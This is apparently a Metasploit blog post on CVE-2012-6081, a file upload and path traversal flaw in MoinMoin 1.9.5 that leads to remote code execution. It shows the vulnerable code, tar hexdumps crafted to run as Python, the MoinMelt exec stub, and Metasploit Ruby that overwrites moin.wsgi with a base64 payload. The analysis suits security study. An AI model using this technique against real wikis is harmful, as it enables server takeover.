Last updated at Tue, 05 Dec 2023 20:03:19 GMT
Recently we've added to Metasploit a module for CVE-2012-6081, an arbitrary file upload vulnerability affecting to the version 1.9.5 (patched!) of the MoinMoin Wiki software. In this blog entry we would like to share both the vulnerability details and how this one was converted in RCE (exploited in the wild!) because the exploitation is quite interesting, where several details must have into account to successful exploit it in a safe manner.
Interestingly this vulnerability was exploited on the wild on July 2012. Details about the "in the wild" exploit were disclosed at the end of 2012 / beginning of 2013 by sites such as wiki.python.org and wiki.debian.org.
The vulnerability was patched on 29 Dec 2012 The patch indeeds solves two exploit paths for the same vulnerability, which is a lack of sanitation on user supplied data before creating a "ContainerItem" (more about that later):
First of all we're going to review the vulnerable code for the twikidraw.py case, as exploited in the wild. Come on to start with the execution of a "twikidraw" action:
- User supplied data is used to populate the target variable:
def execute(pagename, request):
target = request.values.get('target')
- A TwikiDraw instance is created:
twd = TwikiDraw(request, pagename, target)
- When "do" user supplied parameter is "save" the save() method from the instance is called:
if do == 'save':
msg = twd.save()
- Come on to see how TwikiDraw saves. First of all it checks which the request comes with a good ticket
def save(self):
request = self.request
_ = request.getText
if not wikiutil.checkTicket(request, request.args.get('ticket', '')):
return _('Please use the interactive user interface to use action %(actionname)s!') % {'actionname': 'twikidraw.save' }
- Check which the user has write permissions on the page and the target is indeed not empty:
pagename = self.pagename
target = self.target
if not request.user.may.write(pagename):
return _('You are not allowed to save a drawing on this page.') if not target:
return _("Empty target name given.")
It is an interesting detail because in order to exploit access with write permissions to a WikiPage is needed. By default the Metasploit module will use the WikiSandBox page, writable without authentication on the default install. But both the WikiPage and credentials can be configured through module parameters.
- Populate file_upload and filename variables from user supplied data:
file_upload = request.files.get('filepath')
print '[*] file_upload: %s' % file_upload
# This might happen when trying to upload file names
# with non-ascii characters on Safari.
return _("No file content. Delete non ASCII characters from the file name and try again.")
filename = request.form['filename']
- Some variables are populated from the filename value, the most interesting interesting one is "ext" because will be used later on exploitation (tries to be the extension of the filename):
basepath, basename = os.path.split(filename)
basename, ext = os.path.splitext(basename)
- An "AttachFile.ContainerItem" instance is created from the "target" value (user supplied value and not sanitized!).
ci = AttachFile.ContainerItem(request, pagename, target)
- Finally user supplied data is put into the ContainerItem. User controlled data ("ext" which comes from "filename" and "file_upload" which comes from "file_path") can be used to influence all the parameters of the "ci.put()" call:
filecontent = file_upload.stream
content_length = None
if ext == '.draw': # TWikiDraw POSTs this first
// Out of scope
elif ext == '.map':
// Out of scope
else:
#content_length = file_upload.content_length
# XXX gives -1 for wsgiref If this is fixed, we could use the file obj,
# without reading it into memory completely:
filecontent = filecontent.read()
ci.put('drawing' ext, filecontent, content_length)
- Now time to look into the "AttachFile.ContainerItem" class. From the documentation can be spotted which a ContainerItem is, indeed, a TAR file:
class ContainerItem:
""" A storage container (multiple objects in 1 tarfile) """
- When an instance is created (remember which the "containername" parameter is full controlled by the user, since comes from the "target" request parameter):
def __init__(self, request, pagename, containername):
self.request = request
self.pagename = pagename
self.containername = containername
self.container_filename = getFilename(request, pagename, containername)
- on "getFilename()" is where the traversal directory abuse can occurs at the moment of calling os.path.join() since the filename value is user controlled and traversal sequences are not sanitized (it is what the patch tries to solve):
def getFilename(request, pagename, filename):
""" make complete pathfilename of file "name" attached to some page "pagename"
@param request: request object
@param pagename: name of page where the file is attached to (unicode)
@param filename: filename of attached file (unicode)
@rtype: string (in config.charset encoding)
@return: complete path/filename of attached file
"""
if isinstance(filename, unicode):
filename = filename.encode(config.charset)
return os.path.join(getAttachDir(request, pagename, create=1), filename)
- Later when twikidraw put() contents on the container, the user can manipule the specified "target" file such as a tar. And control a new entry to wrote into it, having control of the member (name of the entry) and the content, with the "filename" and the "filepath" values from the HTTP request respectively:
def put(self, member, content, content_length=None):
""" save data into a container's member """
tf = tarfile.TarFile(self.container_filename, mode='a')
if isinstance(member, unicode):
member = member.encode('utf-8')
ti = tarfile.TarInfo(member)
if isinstance(content, str):
if content_length is None:
content_length = len(content)
content = StringIO(content) # we need a file obj
elif not hasattr(content, 'read'):
logging.error("unsupported content object: %r" % content)
raise
assert content_length >= 0 # we don't want -1 interpreted as 4G-1
ti.size = content_length
tf.addfile(ti, content)
tf.close()
So, this vulnerability gives to the user the power to write an arbitrary TAR file on the filesystem, and partially control the file content (the entry name and its contents), always with the privileges of the web (app) server running the MoinMoin app. The question which remains is how to convert a remote arbitrary TAR file creation into a remote code execution. And the answer is on the exploit, which was finally disclosed on May 2013:
What MoinMelt authors noticed is which a TAR file is just a container (and files are not compressed neither encrypted, etc. by default). Come on to see an example. There is a very simple python file:
$ cat MySpecialHelloWorldForTest.py
print 'Hello Contents'
If we tar it, the result is something like that:
$ tar cf Hello.tar MySpecialHelloWorldForTest.py
$ hexdump -C Hello.tar
00000000 4d 79 53 70 65 63 69 61 6c 48 65 6c 6c 6f 57 6f |MySpecialHelloWo|
00000010 72 6c 64 46 6f 72 54 65 73 74 2e 70 79 00 00 00 |rldForTest.py...|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 30 30 30 36 34 34 20 00 30 30 30 37 |....000644 .0007|
00000070 36 35 20 00 30 30 30 30 32 34 20 00 30 30 30 30 |65 .000024 .0000|
00000080 30 30 30 30 30 32 37 20 31 32 31 36 30 31 30 37 |0000027 12160107|
00000090 33 34 33 20 30 31 36 37 31 35 00 20 30 00 00 00 |343 016715. 0...|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000100 00 75 73 74 61 72 00 30 30 6a 75 61 6e 00 00 00 |.ustar.00juan...|
00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000120 00 00 00 00 00 00 00 00 00 73 74 61 66 66 00 00 |.........staff..|
00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000140 00 00 00 00 00 00 00 00 00 30 30 30 30 30 30 20 |.........000000 |
00000150 00 30 30 30 30 30 30 20 00 00 00 00 00 00 00 00 |.000000 ........|
00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000200 70 72 69 6e 74 20 27 48 65 6c 6c 6f 20 43 6f 6e |print 'Hello Con|
00000210 74 65 6e 74 73 27 0a 00 00 00 00 00 00 00 00 00 |tents'..........|
00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000800
Interestingly the original file name is included at offset 0 and original contents are available at offset 0x200. As the reader can imagine this tar wouldn't be interpret as python:
Traceback (most recent call last):
File "Hello.tar", line 1, in
MySpecialHelloWorldForTest.py
NameError: name 'MySpecialHelloWorldForTest' is not defined
But we should remember which the vulnerability allows us to control also the entry name, so if we modify the resulting tar to look like this one:
$ hexdump -C Hello3.tar
00000000 70 72 69 6e 74 20 27 69 74 73 20 66 6f 72 20 74 |print 'its for t|
00000010 65 73 74 20 70 75 72 70 6f 73 65 73 27 00 00 00 |est purposes'...|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 30 30 30 36 34 34 20 00 30 30 30 37 |....000644 .0007|
00000070 36 35 20 00 30 30 30 30 32 34 20 00 30 30 30 30 |65 .000024 .0000|
00000080 30 30 30 30 30 32 37 20 31 32 31 36 30 31 30 37 |0000027 12160107|
00000090 33 34 33 20 30 31 36 37 31 35 00 20 30 00 00 00 |343 016715. 0...|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000100 00 75 73 74 61 72 00 30 30 6a 75 61 6e 00 00 00 |.ustar.00juan...|
00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000120 00 00 00 00 00 00 00 00 00 73 74 61 66 66 00 00 |.........staff..|
00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000140 00 00 00 00 00 00 00 00 00 30 30 30 30 30 30 20 |.........000000 |
00000150 00 30 30 30 30 30 30 20 00 00 00 00 00 00 00 00 |.000000 ........|
00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000200 70 72 69 6e 74 20 27 48 65 6c 6c 6f 20 43 6f 6e |print 'Hello Con|
00000210 74 65 6e 74 73 27 0a 00 00 00 00 00 00 00 00 00 |tents'..........|
00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000800
And try to execute it as python, the magic occurs:
$ python Hello3.tar
its for test purposes
So with the proposed primitives python remote code execution is indeed possible! Looking at the resulting TAR created by the original MoinMelt two pieces of python can be spotted:
00000000 64 72 61 77 69 6e 67 2e 72 20 69 66 28 29 65 6c |drawing.r if()el|
00000010 73 65 5b 5d 0a 65 78 65 63 20 65 76 61 6c 28 22 |se[].exec eval("|
00000020 6f 70 65 6e 28 5f 5f 66 69 6c 65 5f 5f 29 5c 35 |open(file)\5|
00000030 36 72 65 61 64 28 29 5c 35 36 73 70 6c 69 74 28 |6read()\56split(|
00000040 27 5b 4d 41 52 4b 5d 27 29 5b 2d 32 5d 5c 35 36 |'[MARK]')[-2]\56|
00000050 73 74 72 69 70 28 27 5c 5c 30 27 29 22 29 00 00 |strip('\0')")..|
00000060 00 00 00 00 30 30 30 30 36 36 36 00 30 30 30 30 |....0000666.0000|
00000070 30 30 30 00 30 30 30 30 30 30 30 00 30 30 30 30 |000.0000000.0000|
00000080 30 30 30 33 34 32 35 00 30 30 30 30 30 30 30 30 |0003425.00000000|
00000090 30 30 30 00 30 33 30 32 32 33 00 20 30 00 00 00 |000.030223. 0...|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000100 00 75 73 74 61 72 00 30 30 75 73 65 72 00 00 00 |.ustar.00user...|
00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000120 00 00 00 00 00 00 00 00 00 67 72 6f 75 70 00 00 |.........group..|
00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000140 00 00 00 00 00 00 00 00 00 30 30 30 30 30 30 30 |.........0000000|
00000150 00 30 30 30 30 30 30 30 00 00 00 00 00 00 00 00 |.0000000........|
00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000200 5b 4d 41 52 4b 5d 65 78 65 63 20 22 49 79 41 74 |[MARK]exec "IyAt|
00000210 4b 69 30 67 59 32 39 6b 61 57 35 6e 4f 69 42 70 |Ki0gY29kaW5nOiBp|
00000220 63 32 38 74 4f 44 67 31 4f 53 30 78 49 43 30 71 |c28tODg1OS0xIC0q|
00000230 4c 51 6f 4b 61 57 31 77 62 33 4a 30 49 48 4e 35 |LQoKaW1wb3J0IHN5|
// Cut to improve blog readability
The first piece of python, at the offset 0, will read the current file, search the [MARK] marks, and finally exec() the content. This piece of python comes from the "filename" extension and can't include "." chars. Because of these limitations it's just an stub. The contents of the [MARK] is indeed the final python payload and comes from the full controlled, unrestricted "filepath" request parameter.
So far so good, the only question which remains is where to write, in the MoinMoin context, to get remote code execution. The MoinMelt exploit uses two approaches. And these two methods are evaluated having into account the recommended deployment method by MoinMoin, which is to use Apache with mod_wsgi:
- Create a new MoinMoin action: There are some drawbacks with this method. The first one is which, when doing a system-wide installation, the MoinMoin code is installed in the python LIB path by default, which could be not easily reachable from the wiki instance directory, where the attachment containers are created by default. Also the web server user could not have permissions to write on the file dir after the a default system-wide installation. Plus Apache restar could be required.
- Overwrite the moin.wsgi file. Or what is the same, overwrite the configured WSGIScriptAlias, by default named moin.wsgi and installed on the root of the wiki instance directory. The advantages of this method are:
- By default is installed on the wiki instance directory, so easily reachable from the attachment containers default directory.
- Apache restart isn't required, when there is a new request to process, a new thread (and worker) will be spawn which will start the python execution on the moin.wsgi file. So immediate execution of the uploaded payload can be achieved.
The second method is the used on the Metasploit module developed to test and exploit this vulnerability. Unfortunately, as the reader maybe is guessing, there is a big drawback with this method. After exploitation, requests processed by mod_wsgi will use the corrupted mod.wsgi file which will result on a denial of service of the MoinMoin wiki. In order to mitigate it two safeguards have been applied:
- At exploitation time, the moin.wsgi file is overwritten with python code which, after payload execution, tries to launch the MoinMoin application using the default installation path "/usr/local/share/moin" for the MoinMoin instance (thanks egypt for the idea!):
# Upload payload print_status("Trying to upload payload...") python_cmd = "import sys, os\n" python_cmd << "os.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))\n" python_cmd << "sys.path.insert(0, '/usr/local/share/moin')\n" python_cmd << "from MoinMoin.web.serving import make_application\n" python_cmd << "application = make_application(shared=True)" res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))") if not res fail_with(Exploit::Failure::Unknown, "Error uploading the payload") end
- A post exploitation task has been added, where the module will try to find the moin.wsgi on the default installation path, and restore it with a basic one (start to read on the on_new_session() callback):
def moinmoin_template(path) template =[] template << "# -*- coding: iso-8859-1 -*-" template << "import sys, os" template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path)) template << "from MoinMoin.web.serving import make_application" template << "application = make_application(shared=True)" return template end def restore_file(session, file, contents) first = true contents.each {|line| if first session.shell_command_token("echo \"#{line}\" > #{file}") first = false else session.shell_command_token("echo \"#{line}\" >> #{file}") end } end # Try to restore a basic moin.wsgi file with the hope of making the # application usable again. # Try to search on /usr/local/share/moin (default search path) and the # current path (apache user home). Avoiding to search on "/" because it # could took long time to finish. def on_new_session(session) print_status("Trying to restore moin.wsgi...") begin files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null") files.split.each { |file| print_status("#{file} found! Trying to restore...") restore_file(session, file, moinmoin_template(file)) } files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null") files.split.each { |file| print_status("#{file} found! Trying to restore...") restore_file(session, file, moinmoin_template(file)) } print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.") rescue print_warning("Error while restring moin.wsgi, manual restoring would be required.") end end
As documented in the code, it doesn't try to search the full filesystem because it could take a long time on real deployments where big disks could be used. On the other hand, after exploitation, the user still could manually try to restore the moin.wsgi by locating the Apache configuration and searching the WSGIScriptAlias directive. Its value should point to the location of the moin.wsgi file.
So far so good, once the details, pros and contras have been explained, time to enjoy the Metasploit module:
Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.